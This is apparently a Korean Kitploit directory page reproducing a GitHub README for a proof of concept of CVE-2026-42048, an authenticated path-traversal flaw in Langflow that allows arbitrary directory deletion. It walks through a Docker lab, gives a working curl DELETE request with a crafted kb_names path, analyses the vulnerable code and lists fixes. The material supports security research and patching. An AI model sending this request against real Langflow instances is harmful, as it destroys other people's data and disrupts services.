Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-42048 — Langflow 임의 디렉터리 삭제 | Kitploit
도구/GitHubGitHub/eqstlab/cve-2026-42048
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubeqstlab/cve-2026-42048

CVE-2026-42048

Langflow 임의 디렉터리 삭제

저장소 보기
23개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-42048

CVE-2026-42048 Langflow 경로 탐색 / 임의 디렉터리 삭제 PoC

https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de


설명

CVE-2026-42048 : Langflow 임의 디렉터리 삭제 취약점

설명: 1.9.0 이전의 Langflow에서 경로 탐색(path traversal) 취약점이 존재하며, 인증된 공격자가 대량 삭제 엔드포인트인 DELETE /api/v1/knowledge_bases를 통해 의도된 Knowledge Base 저장 경로 외부의 디렉터리를 삭제할 수 있습니다. 이 문제는 사용자가 제어하는 kb_names 값이 적절한 정규화(normalization) 및 포함(containment) 검증 없이 파일시스템 경로를 구성하는 데 사용되기 때문에 발생합니다.


전제 조건

성공적인 악용을 위해서는 다음 조건이 필요합니다:

  • 대상이 1.9.0 이전의 취약한 Langflow 버전을 실행 중이어야 합니다.
  • 공격자는 Knowledge Bases 대량 삭제 엔드포인트에 도달할 수 있어야 합니다:
root@kitploit:~
DELETE /api/v1/knowledge_bases
  • 공격자는 인증되어 있거나 인증된 API 요청을 만들 수 있어야 합니다. 공개 권고에서는 이 문제가 낮은 권한(PR:L)만 필요하다고 설명합니다.
  • 공격자는 kb_names 요청 본문 매개변수를 제어할 수 있어야 합니다.
  • Langflow 프로세스에 대상 디렉터리를 삭제할 수 있는 파일시스템 권한이 있어야 합니다.

이 취약점은 운영체제 파일 권한을 우회하지 않습니다. Langflow 자체의 경로 처리 및 삭제 로직을 남용하는 것입니다.


실습 환경 구성

Docker를 사용하여 취약한 환경을 빌드하고 실행합니다:

이미지 빌드

root@kitploit:~
docker build -t cve-2026-42048 .

컨테이너 실행

root@kitploit:~
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048

상태 확인

root@kitploit:~
curl http://127.0.0.1:9101/status

실습은 다음 위치에 일회용 대상 디렉터리를 생성합니다:

root@kitploit:~
/target/CVE-2026-42048

/status 엔드포인트는 해당 디렉터리가 여전히 존재하는지 보고합니다.


사용 방법

PoC로 익스플로잇

root@kitploit:~
python3 poc.py

대화형 입력:

root@kitploit:~
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:

curl로 익스플로잇

root@kitploit:~
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
  -H "Content-Type: application/json" \
  -d '{"kb_names":["/target/CVE-2026-42048"]}'

결과 확인

root@kitploit:~
curl http://127.0.0.1:9101/status

익스플로잇에 성공하면 target_exists가 true에서 false로 변경됩니다.


분석

취약한 엔드포인트

root@kitploit:~
DELETE /api/v1/knowledge_bases

이 취약점은 Langflow의 Knowledge Bases 대량 삭제 API에 존재합니다. 영향을 받는 핸들러는 kb_names 매개변수를 통해 Knowledge Base 이름 목록을 전달받고, 각 값을 사용하여 삭제할 파일시스템 경로를 구성합니다.

취약한 버전에서는 대량 삭제 로직이 다른 Knowledge Base 엔드포인트에서 사용하는 더 안전한 경로 확인 헬퍼를 사용하는 대신 경로를 수동으로 구성합니다. 취약한 패턴을 단순화하여 나타내면 다음과 같습니다:

root@kitploit:~
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username

for kb_name in request.kb_names:
    kb_path = kb_user_path / kb_name

    if not kb_path.exists() or not kb_path.is_dir():
        continue

    KBStorageHelper.delete_storage(kb_path, kb_name)

삭제 헬퍼는 결국 재귀적 삭제 로직으로 대상 디렉터리를 제거합니다. kb_name은 공격자가 제어할 수 있으므로 ../와 같은 경로 탐색 시퀀스를 사용하여 현재 사용자의 Knowledge Base 디렉터리를 벗어날 수 있습니다. Python의 pathlib에서 오른쪽에 제공된 절대 경로는 이전 경로 구성 요소를 덮어쓸 수도 있습니다:

root@kitploit:~
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048

결과적으로 조작된 kb_names 값은 Langflow 프로세스에 해당 디렉터리를 삭제할 권한이 있는 한, 의도된 Knowledge Base 저장소 루트 외부의 디렉터리를 Langflow가 삭제하도록 만들 수 있습니다.

이것은 CWE-22: Improper Limitation of a Pathname to a Restricted Directory 문제입니다.

기술적 근본 원인

근본 원인은 재귀적 삭제 전에 사용자가 제어하는 경로 구성 요소에 대한 충분한 정규화 및 경계 검증이 이루어지지 않기 때문입니다. 취약한 대량 삭제 엔드포인트는 최종 경로가 존재하는지 확인하지만, 확인된 경로가 인증된 사용자의 Knowledge Base 디렉터리 내에 유지되는지 여부는 보장하지 않습니다.

견고한 수정은 다음을 수행해야 합니다:

  • Path.resolve()로 최종 경로를 정규화합니다.
  • 확인된 경로가 여전히 인증된 사용자의 Knowledge Base 디렉터리 내부에 있는지 확인합니다.
  • 삭제 전에 해당 디렉터리를 벗어나는 경로를 거부합니다.

Langflow는 1.9.0에서 이 문제를 수정했습니다.

이것이 중요한 이유

임의 디렉터리 삭제는 무결성과 가용성에 직접적인 영향을 줄 수 있습니다. 배포 권한과 파일시스템 구성에 따라 공격자는 다음을 수행할 수 있습니다:

  • 다른 사용자의 Knowledge Base 데이터 삭제
  • 애플리케이션 소유 디렉터리 제거
  • Langflow 런타임 상태 방해
  • 데이터 손실 또는 서비스 중단 유발

이 문제는 유해하기 위해 임의 코드 실행이 필요하지 않습니다. 애플리케이션 권한으로 재귀적 삭제를 수행하는 것만으로도 데이터와 가용성을 손상시키기에 충분합니다.


시나리오

root@kitploit:~
+-------------------------------------------+
|              Authenticated User           |
+-------------------------------------------+
                      |
                      | DELETE /api/v1/knowledge_bases
                      | kb_names = ["/target/CVE-2026-42048"]
                      v
+-------------------------------------------+
|       Langflow Knowledge Base API         |
+-------------------------------------------+
                      |
                      | Unsafe path construction
                      v
+-------------------------------------------+
|   Path Escapes Intended KB User Directory |
+-------------------------------------------+
                      |
                      | Recursive directory deletion
                      v
+-------------------------------------------+
|        Arbitrary Directory Deletion       |
+-------------------------------------------+

실습 노트

이 실습은 포트 9101에서 작은 챌린지 프록시를 노출합니다. 프록시는 전체 Langflow UI와 직접 백엔드 포트를 숨기고, 이 연습에 필요한 최소한의 취약한 API 경로만 전달합니다.

실습의 대상 디렉터리는 다음과 같습니다:

root@kitploit:~
/target/CVE-2026-42048

/status 엔드포인트를 사용하여 대상 디렉터리가 삭제되었는지 확인할 수 있습니다.


정리

root@kitploit:~
docker stop cve-2026-42048

고지 사항

이 저장소는 Langflow 인스턴스에 대한 승인되지 않은 악용을 용이하게 하기 위한 것이 아닙니다. 이 프로젝트의 목적은 보안 연구자, 방어자, 개발자가 취약점을 이해하고 통제된 환경에서 노출을 검증하며 효과적인 완화 조치를 적용하도록 돕는 것입니다.


참고 자료

https://github.com/langflow-ai/langflow/security/advisories/GHSA-9whx-c884-c68q

https://nvd.nist.gov/vuln/detail/CVE-2026-42048

https://github.com/langflow-ai/langflow

도구 다운로드